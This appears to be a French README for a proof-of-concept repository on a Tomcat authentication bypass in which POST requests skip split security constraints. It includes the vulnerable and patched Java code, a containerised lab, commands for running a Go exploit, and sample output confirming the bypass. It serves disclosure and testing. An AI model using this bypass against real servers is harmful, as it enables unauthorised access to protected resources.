
PoC d'exploitabilité pour CVE-2026-43515 (contournement de contrainte Apache Tomcat).
Verdict d'exploitabilité : confirmé exploitable. Une requête POST vers une ressource protégée par une configuration
<web-resource-collection>scindée contourne entièrement l'authentification. La forme requise deweb.xmlest rare dans les déploiements standards — voir Analyse pour les détails.
CVE-2026-43515 est une vulnérabilité dans la logique d'évaluation des contraintes de sécurité d'Apache Tomcat. Lorsqu'une seule <security-constraint> définit plusieurs blocs <web-resource-collection> partageant le même motif d'extension d'URL (par exemple *.html) mais déclarant chacun une méthode HTTP différente, Tomcat n'applique la contrainte que pour la méthode HTTP déclarée dans la première collection correspondante. Toutes les collections suivantes sont silencieusement ignorées.
L'intention de l'administrateur :
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Ce que Tomcat non corrigé applique réellement :
GET *.html → 401 — contrainte appliquée ✓POST *.html → 200 — contrainte silencieusement ignorée ✗| Plage affectée | Corrigé dans |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
Le bug se trouve dans findSecurityConstraints(Request, Context) dans org.apache.catalina.realm.RealmBase. L'indicateur matched et l'index pos étaient déclarés hors de la boucle par collection :
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
Une fois que collection[0] correspondait au motif d'extension *.html, pos était figé à 0. L'appel à findMethod("POST") s'exécutait donc contre collection[0] (qui ne déclare que GET) et retournait false. Aucune contrainte n'était ajoutée à results pour la requête POST, et AuthenticatorBase concluait que la requête n'était soumise à aucune contrainte.
Le correctif (commit 276087d) déplace matched à l'intérieur de la boucle et remplace collection[pos] par collection[j], afin que chaque collection soit évaluée indépendamment :
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
Le contournement est confirmé et reproductible. Le journal verbeux de Tomcat rend le mécanisme sans ambiguïté :
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
La vulnérabilité ne se déclenche qu'avec un motif web.xml spécifique : une unique <security-constraint> avec plusieurs blocs <web-resource-collection> partageant le même motif d'extension mais déclarant différentes méthodes HTTP.
Cette configuration est valide selon la spécification Servlet mais rare en pratique. La plupart des déploiements :
<http-method> entièrement (protégeant toutes les méthodes), ou<security-constraint> séparés par méthodeLes déploiements qui utilisent le motif de collections scindées pour appliquer un contrôle d'accès fin par méthode sur les motifs d'extension sont exposés.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| Outil | Version | Notes |
|---|---|---|
| Podman | ≥ 4.0 | Docker fonctionne aussi |
| Go | ≥ 1.22 | Pour exécuter l'exploit localement |
Aucune dépendance Go externe.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Attendez quelques secondes, puis vérifiez :
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Options disponibles :
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| Ressource | Lien |
|---|---|
| Commit de correctif — 11.0.x | apache/tomcat@276087d |
| Analyse complète — article de blog | return-zero.dev/posts/cve-2026-43515 |
Ce dépôt est destiné uniquement à des fins éducatives et à l'analyse locale de l'exploitabilité. Tous les tests ont été effectués contre un environnement conteneurisé auto-hébergé. N'exécutez pas ce PoC contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.
| 10.1.0.M1 – 10.1.54 |
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| Option | Défaut | Description |
|---|
-target | http://localhost:8080 | URL de base de Tomcat |
-path | /protected/secret.html | Chemin de la ressource protégée |
-username | validuser | Nom d'utilisateur valide pour le test de contrôle |
-password | s3cret! | Mot de passe pour le test de contrôle |